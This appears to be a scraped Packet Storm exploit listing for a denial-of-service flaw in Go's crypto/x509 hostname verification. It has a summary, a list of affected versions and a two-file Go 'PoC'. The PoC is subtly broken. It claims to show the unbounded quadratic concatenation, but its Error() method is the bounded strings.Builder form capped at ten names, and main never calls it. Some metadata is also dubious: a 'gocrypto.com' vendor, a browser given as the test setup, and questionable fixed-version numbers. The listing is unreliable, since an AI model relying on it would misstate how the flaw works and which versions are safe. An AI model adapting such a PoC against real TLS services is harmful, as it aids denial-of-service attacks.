{“lastseen”:”2026-02-04T16:01:59″,”description”:”A denial of service vulnerability exists in the Go programming language crypto\/x509 package. The issue occurs during TLS hostname verification when constructing error messages for certificates containing a very large number of DNS names. In affected…”,”published”:”2026-02-04T00:00:00″,”modified”:”2026-02-04T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Go crypto\/x509 Hostname Verification Denial of Service”,”source”:””,”references”:””,”id”:”PACKETSTORM:214882″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-61279″,”CVE-2025-61729″],”sourceData”:”=============================================================================================================================================\\n | # Title : Go crypto\/x509 Hostname Verification Denial of Service |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.gocrypto.com\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/214685\/ \\u0026 CVE-2025-61729\\n \\n [+] Summary : A denial of service vulnerability exists in the Go programming language crypto\/x509 package. The issue occurs during TLS hostname verification\\n when constructing error messages for certificates containing a very large number of DNS names.\\n In affected versions, error message construction uses repeated string concatenation without bounds, resulting in quadratic time complexity\\n (O(n\u00b2)). An attacker can exploit this by presenting a malicious TLS certificate containing an excessive number of DNSNames, causing severe CPU and memory exhaustion.\\n \\t\\t\\t\\t \\n [+] Affected Versions : All Go versions prior to the official fixes are affected.\\n \\n The following versions are NOT vulnerable:\\n \\n – Go 1.23.1\\n – Go 1.22.10\\n – Any Go release containing the official patch\\n \\n [+] Technical Details : When hostname verification fails, the crypto\/x509 package constructs a human-readable error string listing all DNS names present in the TLS certificate.\\n \\n [+] In vulnerable versions:\\n \\n – No upper bound is enforced on the number of DNS names processed\\n – String concatenation is performed using repeated \\”+=\\” operations\\n – This leads to quadratic time complexity and excessive memory usage\\n \\n An attacker-controlled certificate with tens or hundreds of thousandsof DNS names can trigger resource exhaustion during error generation.\\n \\n \\n [+] PoC : The following PoC demonstrates the vulnerable condition by creating a certificate-like structure with 100,000 DNS names and triggering the\\n error handling logic. The Error() method is intentionally not invoked to prevent system freeze on vulnerable environments.\\n \\n File: hostname_error.go\\n ———————–\\n package main\\n \\n import (\\n \\”fmt\\”\\n \\”strings\\”\\n )\\n \\n type HostnameError struct {\\n Certificate *Certificate\\n Host string\\n }\\n \\n type Certificate struct {\\n DNSNames []string\\n }\\n \\n func (h HostnameError) Error() string {\\n const maxNames = 10\\n \\n var builder strings.Builder\\n names := h.Certificate.DNSNames\\n \\n builder.WriteString(\\”certificate is valid for \\”)\\n \\n displayCount := len(names)\\n if displayCount \\u003e maxNames {\\n displayCount = maxNames\\n }\\n \\n for i := 0; i \\u003c displayCount; i++ {\\n if i \\u003e 0 {\\n builder.WriteString(\\”, \\”)\\n }\\n builder.WriteString(names[i])\\n }\\n \\n if len(names) \\u003e maxNames {\\n builder.WriteString(\\n fmt.Sprintf(\\”, and %d more\\”, len(names)-maxNames),\\n )\\n }\\n \\n builder.WriteString(fmt.Sprintf(\\”, not for %s\\”, h.Host))\\n return builder.String()\\n }\\n ————-\\n File: poc.go\\n ————-\\n package main\\n \\n import \\”fmt\\”\\n \\n func main() {\\n cert := \\u0026Certificate{\\n DNSNames: make([]string, 100000),\\n }\\n \\n for i := range cert.DNSNames {\\n cert.DNSNames[i] = fmt.Sprintf(\\”host%d.example.com\\”, i)\\n }\\n \\n err := HostnameError{\\n Certificate: cert,\\n Host: \\”example.com\\”,\\n }\\n \\n fmt.Println(\\”[+] HostnameError object created\\”)\\n fmt.Printf(\\”[+] DNSNames count: %d\\\\n\\”, len(cert.DNSNames))\\n \\n \/\/ WARNING:\\n \/\/ Calling err.Error() on a vulnerable Go version\\n \/\/ may cause severe CPU and memory exhaustion.\\n _ = err\\n }\\n \\n [+] How to Run\\n \\n 1. Save the files as:\\n – hostname_error.go\\n – poc.go\\n \\n 2. Run the PoC:\\n $ go run .\\n \\n Greetings to :============================================================\\n jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|\\n ==========================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214882″,”cvss”:{“score”:7.5,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214882\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-04T16:01:59″,”description”:”A denial of service vulnerability exists in the Go programming language crypto\/x509 package. The issue occurs during TLS hostname verification when constructing error messages for…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-39204","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n